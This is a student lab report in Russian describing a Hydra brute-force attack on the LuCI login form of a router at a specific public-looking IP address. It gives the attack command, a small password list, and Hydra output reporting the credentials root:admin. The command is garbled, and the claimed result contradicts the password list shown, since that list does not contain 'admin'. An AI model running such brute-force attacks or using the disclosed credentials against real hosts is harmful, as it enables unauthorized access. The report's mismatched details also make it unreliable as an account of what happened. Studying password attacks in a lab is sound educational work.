

# **Отчёт о выполнении. Индивидуальный проект. Этап 3**

Сироджиддинов Камолиддин, НКНбд-01-21

# Содержание

<b>1</b>	<b>Цель работы</b>	<b>5</b>
1.1	Исходные данные: . . . . .	5
1.1.1	1. Обновление системы . . . . .	5
1.1.2	2. Создание словаря паролей . . . . .	6
1.1.3	3. Описание команды для выполнения brute-force атаки . .	6
1.2	Результаты работы . . . . .	6
1.2.1	Пример вывода попыток Hydra: . . . . .	6
1.2.2	Файл результата (hydra_result.log): . . . . .	7
1.2.3	Анализ: . . . . .	7
<b>2</b>	<b>Заключение</b>	<b>8</b>

# List of Figures

## List of Tables

# 1 Цель работы

Исследование и применение инструмента Hydra для подбора имени пользователя и пароля с использованием brute-force атаки на HTTP POST форму, а также анализ результатов выполнения.

## 1.1 Исходные данные:

IP сервера: 178.72.90.181 Сервис: HTTP на стандартном 80 порту Форма авторизации: Метод отправки данных - POST по адресу: `http://178.72.90.181/cgi-bin/luci`, Параметры формы: `username=root&password=test_password` Сообщение при неудачной аутентификации: "Invalid username and/or password! Please try again." Используемая утилита: Hydra ## Подготовка к работе

### 1.1.1 1. Обновление системы

Установка Hydra: Для начала работы с Hydra была произведена установка инструмента на операционной системе с использованием следующих команд:

```
(kamoliddin@root)-[~]
$ sudo apt-get install hydra
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
hydra is already the newest version (9.5-1+b2).
hydra set to manually installed.
The following packages were automatically installed and are no longer required:
  ibverbs-providers libboost-iostreams1.83.0 libboost-thread1.83.0
  libcephfs2 libdaxctl1 libgfapi0 libgfrpc0 libgfxdr0 libglusterfs0
  libibverbs1 libndctl6 libpmem1 libpython3.11-dev librados2 librdmacm1t64
  python3-lib2to3 python3.11 python3.11-dev python3.11-minimal
  samba-ad-provision samba-dsdb-modules samba-vfs-modules
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 974 not upgraded.
```

### 1.1.2 2. Создание словаря паролей

В процессе атаки использовался заранее подготовленный файл со списком паролей. Для его создания был использован текстовый редактор:

```
(kamoliddin@root)-[~]
$ nano ~/pass_lists/dedik_passes.txt
```

Пример содержимого файла:

```
toor
root
kama
```

### 1.1.3 3. Описание команды для выполнения brute-force атаки

```
(kamoliddin@root)-[~]
$ hydra -l root -P ~/pass_lists
V -s 80 178.72.90.181 http-post-f
toor^:Invalid username
```

Была составлена и использована следующая команда Hydra:

## 1.2 Результаты работы

### 1.2.1 Пример вывода попыток Hydra:

[DATA] attacking service http-post-form on port 80

[80][http-post-form] host: 178.72.90.181 login: root password: admin

```
[STATUS] attack finished for 178.72.90.181 (valid password found)
```

### **1.2.2 Файл результата (hydra\_result.log):**

```
178.72.90.181:80 http-post-form /cgi-bin/luci root:admin
```

### **1.2.3 Анализ:**

Пароль для пользователя root был успешно подобран. В результате успешной brute-force атаки удалось получить доступ к системе, используя комбинацию root:admin.

## 2 Заключение

В ходе работы было продемонстрировано использование инструмента Hydra для проведения атаки на HTTP POST форму методом brute-force. С помощью указанной команды удалось успешно подобрать пароль для пользователя.

Полученный результат подтверждает эффективность метода brute-force при наличии недостаточно защищённого веб-сервиса с простыми паролями и отсутствием дополнительных защитных механизмов (например, блокировки после нескольких неудачных попыток входа).